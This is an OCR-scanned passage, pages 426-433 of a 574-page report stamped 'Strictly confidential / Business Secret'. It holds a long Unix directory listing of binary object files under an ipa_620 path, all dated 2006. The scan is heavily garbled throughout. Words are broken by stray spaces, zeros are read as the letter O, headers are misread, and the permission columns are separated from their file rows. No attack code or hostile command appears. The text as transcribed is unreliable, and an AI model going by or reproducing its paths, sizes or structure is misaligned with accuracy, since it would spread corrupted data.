7919 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000d/bc. b i4 

4359 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ri es/OOOOOOOO/OOOOOOOO/OOOOOd/bO . b i4 

2737 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00000d/b3 . b i4 

2318 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00000d/b4 .b i4  

4867 Oct 17 2006 /u/d955/DAF 1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00000d/b9 . b i4 

1241 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00000d/9b . b i4 

3442 Oct 17 2006 /u/ d955/DAF1367 /i s i s/i p a_ 620/ objects/bi n a r ies/00000000/00000000/00000d/9d . b i4 

5203 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000d/9e . b i4 

3 293 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000d/9f. b i4 

2316 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i na r ies/00000000/00000000/00000d/98 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/ 

-rwxr-xr-x O 1367 495500 4096 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ri es/00000000/00000000/00000e/ca . b i4 

-rwxr-xr-x O 1367 495500 15879 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/c2 . b i4 

-rwxr-xr-x O 1367 495500 9216 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi na ries/00000000/00000000/00000e/c7 . b i4 

-rwxr-xr-x O 1367 495500 10240 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/c8 . b i4 

-rwxr-xr-x O 1367 495500 3072 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi na r ies/00000000/00000000/00000e/c9 . b i4 

-rwxr-xr-x O 1367 495500 1368 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/Oa . b i4 

-rwxr-xr-x O 1367 495500 1290 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i n a ri es/00000000/00000000/00000e/Ob . b i4 

Stri ct ly confidenti a l  l Bus iness Secret l 
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-rwxr-xr-x O 1367 495500 7757 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00000e/Oc. b i4 

-rwxr-xr-x O 1367 495500 1 135 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/b i n a ri es/00000000/00000000/00000e/Od . b i4 

-rwxr-xr-x O 1367 495500 1366 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000e/Oe . b i4 

-rwxr-xr-x O 1367 495500 29221 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/Of. b i4 

-rwxr-xr-x O 1367 495500 17809 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/03 . b i4 

-rwxr-xr-x O 1367 495500 25393 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000e/04. b i4 

-rwxr-xr-x O 1367 495500 18621  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000e/05 . b i4 

-rwxr-xr-x O 1367 495500 50536 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000e/06 . b i4 

-rwxr-xr-x O 1367 495500 32564 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000e/07 . b i4 

-rwxr-xr-x O 1367 495500 171 14 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00000e/08 . b i4 

-rwxr-xr-x O 1367 495500 1021 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/09 . b i4 

-rwxr-xr-x O 1367 495500 16807 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ri es/00000000/00000000/00000e/10. b i4 

-rwxr-xr-x O 1367 495500 1313 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/00000e/1l . b i4 

-rwxr-xr-x O 1367 495500 2001 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/12 .b i4  

-rwxr-xr-x O 1367 495500 1396 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/13 . b i4 

-rwxr-xr-x O 1367 495500 303 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/00000e/14. b i4 

-rwxr-xr-x O 1367 495500 1346 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b ina r ies/00000000/00000000/00000e/15 . b i4 

-rwxr-xr-x O 1367 495500 1 125 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/16. b i4 

Str ict ly confidenti a l  l Bus i ness Secret l 

Sidan 426 av 574 



-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

Report 

1383 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/00000e/17 .b i4 

1313 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/18. b i4 

1378 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000e/19 .b i4  

1436 Oct 17 2006 /u/ d955/DAF1367 / i  s i s/i p a_ 620/ objects/bi n a ri es/00000000/00000000/00000e/ 4a . b i4  

1415 Oct 17 2006 /u/d955/DAF 1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/4d . b i4 

5719 Oct 17 2006 /u/d95 5/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000e/4e . b i4 

1068 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/4f. b i4 

-rwxr-xr-x O 1367 495500 18884 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00000e/42 . b i4 

-rwxr-xr-x O 1367 495500 246 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/43 . b i4 

-rwxr-xr-x O 1367 495500 1 127 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/44. b i4 

-rwxr-xr-x O 1367 495500 11509 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/45 . b i4 

-rwxr-xr-x O 1367 495500 12162 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/46. b i4 

-rwxr-xr-x O 1367 495500 1540 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/00000e/47 . b i4 

-rwxr-xr-x O 1367 495500 1452 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi n a ries/00000000/00000000/00000e/48 . b i4 

-rwxr-xr-x O 1367 495500 1533 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/49 . b i4 

-rwxr-xr-x O 1367 495500 135 Oct 17 2006 /u/d955/DAF1367 / i s i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/5a . b i4 

-rwxr-xr-x O 1367 495500 9865 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i na r ies/00000000/00000000/00000e/5b . b i4 

-rwxr-xr-x O 1367 495500 11347 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/5c .b i4  

Strictly confidenti a l  f Bus i ness Secret l 

Sidan 427 av 574 



-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

Report 

1447 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000e/5d . b i4 

1523 Oct 17 2006 /u/d955/DAF 1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/5e . b i4 

1289 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/5f. b i4 

5306 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/50 .b i4 

1381 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/5 1 . b i4 

1461 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/52 . b i4 

1 124 O et 17 2006 /u/ d955/DAF1367 /i s i s/i p a_ 620/ objects/bi n a ri es/00000000/00000000/00000e/5 7 .  b i4 

882 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/58. b i4 

1219 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000e/59 . b i4 

1403 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/6a . b i4 

1269 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/6b . b i4 

1623 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/00000e/6c. b i4 

1442 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/6d . b i4 

1470 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/6e . b i4 

1276 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/6f. b i4 

-rwxr-xr-x O 1367 495500 3 1500 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a r ies/00000000/00000000/00000e/60 .b i4  

-rwxr-xr-x O 1367 495500 2039 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/61 . b i4 

-rwxr-xr-x O 1367 495500 1 166 Oct 17 2006 /u/d95 5/DAF1367/i s i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/62 . b i4 

Strict ly confident i a l  j Bus i ness Secret l 

Sidan 428 av 574 



- rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

Repan 

1 160 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/63 . b i4 

1 190 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00000e/64. b i4 

1285 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/65 . b i4 

1358 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/66 .b i4 

1486 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000e/67 . b i4 

1312 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ries/00000000/00000000/00000e/68 . b i4 

1488 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/69 . b i4 

1210 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/7a . b i4 

1080 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/7b . b i4 

1371 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/7c. b i4 

1786 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00000e/7d . b i4 

1441 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/7e . b i4 

-rwxr-xr-x O 1367 495500 21426 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/7f. b i4 

-rwxr-xr-x O 1367 495500 978 Oct 17 2006 /u/d95 5/DAF1367/is i s/i pa_620/objects/bi na ries/00000000/00000000/00000e/70 .b i4  

-rwxr-xr-x O 1367 495500 1376 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/71 . b i4 

-rwxr-xr-x O 1367 495500 1420 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi na ries/00000000/00000000/00000e/72 . b i4 

- rwxr-xr-x O 1367 495500 1416 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi na r ies/00000000/00000000/00000e/73 . b i4 

-rwxr-xr-x O 1367 495500 33 141 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/74 .b i4  

Strict ly confidenti a l  f Bus i ness Secret l 

Sidan 429 av 574 



-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

-rwxr-xr-x O 1367 495500 

Report 

1221  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/75 . b i4 

1251  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000e/76 . b i4 

872 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/77 . b i4 

1 139 Oct 17 2006 /u/ d955/DAF1367 /i s i s/i p a_ 620/ objects/b i na  r ies/00000000/00000000/00000e/78.  b i4 

1294 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/79 . b i4 

7 168 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi na r ies/00000000/00000000/00000e/8b . b i4 

8 192 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/8c. b i4 

3072 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/8d . b i4 

4096 O et 17 2006 /u/ d955/DAF1367 /i s i s/i p a_ 620/ objects/bi n a r ies/00000000/00000000/00000e/8e . b i4 

1 177 Oct 17 2006 /u/d95 5/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/80. b i4 

1 101 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/81 . b i4 

1406 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000e/82 . b i4 

1 141 O et 17 2006 /u/ d955/DAF1367 /i s i s/i p a_ 620/ objects/bi n a r ies/00000000/00000000/00000e/83 .  b i4 

1 150 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00000e/84. b i4 

-rwxr-xr-x O 1367 495500 15879 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000e/86. b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00000f/ 

-rwxr-xr-x O 1367 495500 11059 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00000f/44. b i4 

- rwxr-xr-x O 1367 495500 1253 12  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00000f/49 . b i4 

Stri ct ly confident i a l  l Bus i ness Secret l 

Sidan 430 av 574 



Repan 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000001/ 

-rwxr-xr-x O 1367 495500 15879 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000001/81 . b i4 

-rwxr-xr-x O 1367 495500 133 12 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000001/86 . b i4 

-rwxr-xr-x O 1367 495500 14336 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/bi n a ries/00000000/00000000/000001/87 . b i4 

-rwxr-xr-x O 1367 495500 4096 Oct 17 2006 /u/d955/DAF1367 /i s i s/i pa_620/objects/b i n a ries/00000000/00000000/000001/88 . b i4 

-rwxr-xr-x O 1367 495500 6144 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/000001/89 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367/is i s/i pa_620/objects/bi n a ries/00000000/00000000/000003/ 

-rwxr-xr-x O 1367 495500 2856 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i na ries/00000000/00000000/000003/4b . b i4 

-rwxr-xr-x O 1367 495500 7911  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000003/84 .b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/000006/ 

-rwxr-xr-x O 1367 495500 3320 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000006/c3 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000009/ 

-rwxr-xr-x O 1367 495500 88598 Oct 17 2006 /u/d955/DAF 1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000009/41 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ries/00000000/00000000/00001a/ 

-rwxr-xr-x O 1367 495500 130594 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00001a/45 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is is/i pa_620/objects/bi n a ries/00000000/00000000/00001b/ 

-rwxr-xr-x O 1367 495500 8955 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00001b/c5 .b i4  

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00001d/ 

Stri ct ly confident i a l  l Bus i ness Secret l 

Sidan 431 av 574 



Report 

-rwxr-xr-x O 1367 495500 54585 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00001d/ce . b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00001d/cf. b i4 

-rwxr-xr-x O 1367 495500 2861 Oct 17 2006 /u/d955/DAF 1367/is i s/i pa_620/objects/b i na r ies/00000000/00000000/00001d/c5 . b i4 

- rwxr-xr-x O 1367 495500 129885 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ries/00000000/00000000/00001d/86 .b i4  

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/00001e/ 

-rwxr-xr-x O 1367 495500 54585 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/bi n a ries/00000000/00000000/00001e/06 .b i4  

- rwxr-xr-x O 1367 495500 15 1 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b ina ries/00000000/00000000/00001e/07 . b i4 

- rwxr-xr-x O 1367 495500 54585 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/0000 1e/46. b i4 

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/00001e/47 . b i4 

-rwxr-xr-x O 1367 495500 51092 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00001e/84 .b i4 

- rwxr-xr-x O 1367 495500 3520 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ries/00000000/00000000/0000 1e/85 .b i4  

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00001f/ 

-rwxr-xr-x O 1367 495500 43205 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00001f/c3 . b i4 

-rwxr-xr-x O 1367 495500 11380 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00001f/c4. b i4 

- rwxr-xr-x O 1367 495500 3089 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/0000 1f/02 . b i4 

-rwxr-xr-x O 1367 495500 54585 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00001f/43 . b i4 

-rwxr-xr-x O 1367 495500 491 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00001f/44. b i4 

- rwxr-xr-x O 1367 495500 130110 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/00001f/45 . b i4 

Strict ly confidenti a l  l Bus i ness Secret l 

Sidan 432 av 574 



Repan 

-rwxr-xr-x O 1367 495500 130361  Oct 17 2006 /u/d955/DAF1367 / is is/ ipa_620/objects/b ina r ies/00000000/00000000/00001f/8d . b i4 

-rwxr-xr-x O 1367 495500 130119 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00001f/88 . b i4 

-rwxr-xr-x O 1367 495500 54585 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00001f/90. b i4 

-rwxr-xr-x O 1367 495500 278 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/bi na ries/00000000/00000000/00001f/9 1 . b i4 

-rwxr-xr-x O 1367 495500 130110 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00001f/92 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367/ is i s/i pa_620/objects/bi na ries/00000000/00000000/000017/ 

-rwxr-xr-x O 1367 495500 128121  Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/000017 /8d . b i4 

-rwxr-xr-x O 1367 495500 3803 Oct 17 2006 /u/d955/DAF1367 / is is/i pa_620/objects/b i n a ries/00000000/00000000/000017 /85 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000018/ 

-rwxr-xr-x O 1367 495500 13379 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/b i n a ri es/00000000/00000000/000018/06. b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/000019/ 

-rwxr-xr-x O 1367 495500 130730 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000019/81 . b i4 

-rwxr-xr-x O 1367 495500 130594 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na ries/00000000/00000000/000019/9a . b i4 

-rwxr-xr-x O 1367 495500 130642 Oct 17 2006 /u/d955/DAF1367 / i s i s/ ipa_620/objects/bi n a ries/00000000/00000000/000019/90. b i4 

-rwxr-xr-x O 1367 495500 130594 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ri es/00000000/00000000/000019/95 . b i4 

-rwxr-xr-x O 1367 495500 54797 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/000019/98 . b i4 

-rwxr-xr-x O 1367 495500 739 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/000019/99 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00002a/ 

Stri ct ly confidenti a l  l Bus i ness Secret l 

Sidan 433 av 574 



Report 

-rwxr-xr-x O 1367 495500 56979 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00002a/06 .b i4  

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na ries/00000000/00000000/00002a/07 . b i4 

-rwxr-xr-x O 1367 495500 54 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002a/4l . b i4 

- rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a r ies/00000000/00000000/00002a/42 . b i4 

-rwxr-xr-x O 1367 495500 557367 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi na r ies/00000000/00000000/00002a/44 .b i4  

-rwxr-xr-x O 1367 495500 O Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002a/45 .b i4  

-rwxr-xr-x O 1367 495500 56922 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/b i na r i es/00000000/00000000/00002a/47 . b i4 

-rwxr-xr-x O 1367 495500 2260 Oct 17 2006 /u/d955/DAF1367/is i s/i pa_620/objects/b ina r ies/00000000/00000000/00002a/48 . b i4 

-rwxr-xr-x O 1367 495500 12284 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i na r ies/00000000/00000000/00002a/8a . b i4 

-rwxr-xr-x O 1367 495500 3329 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002a/83 . b i4 

-rwxr-xr-x O 1367 495500 72094 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00002a/89 . b i4 

d rwxr-xr-x O 1367 495500 O Aug 22 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00002b/ 

-rwxr-xr-x O 1367 495500 57207 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00002b/c4 .b i4  

-rwxr-xr-x O 1367 495500 27 Oct 17 2006 /u/d955/DAF1367 / is i s/i pa_620/objects/bi n a ries/00000000/00000000/00002b/c5 . b i4 

- rwxr-xr-x O 1367 495500 57061 Oct 17 2006 /u/d955/DAF1367/i s i s/i pa_620/objects/bi n a ries/00000000/00000000/00002b/Oa . b i4 

-rwxr-xr-x O 1367 495500 O Oct 17  2006 /u/d955/DAF1367 / is i s/i pa_620/objects/b i n a ries/00000000/00000000/00002b/Ob. b i4 

